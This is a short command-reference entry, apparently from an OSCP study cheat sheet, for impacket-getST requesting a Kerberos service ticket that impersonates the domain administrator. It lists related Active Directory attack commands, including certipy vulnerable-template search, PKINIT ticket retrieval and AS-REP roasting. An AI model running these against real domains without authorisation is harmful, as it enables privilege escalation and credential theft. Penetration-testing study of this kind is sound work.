impacket-getST -dc-ip $IP -spn $SPN -impersonate administrator $DOMAIN/$USER:$PASSWORD

• Linux
• oscp
• cli
• Kerberos
• PrivEsc

Request a service ticket impersonating administrator (delegation) or from a ccache, by auth method.

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• uv run gettgtpkinit.py $DOMAIN/$DC -cert-pfx crt.pfx -pfx-pass $PAS...
• uv run gtfobinsuid.py
• impacket-GetADUsers -dc-ip $IP -all $DOMAIN/$USER:$PASSWORD
• impacket-GetNPUsers -dc-ip $IP $DOMAIN/ -usersfile usernames.txt -f...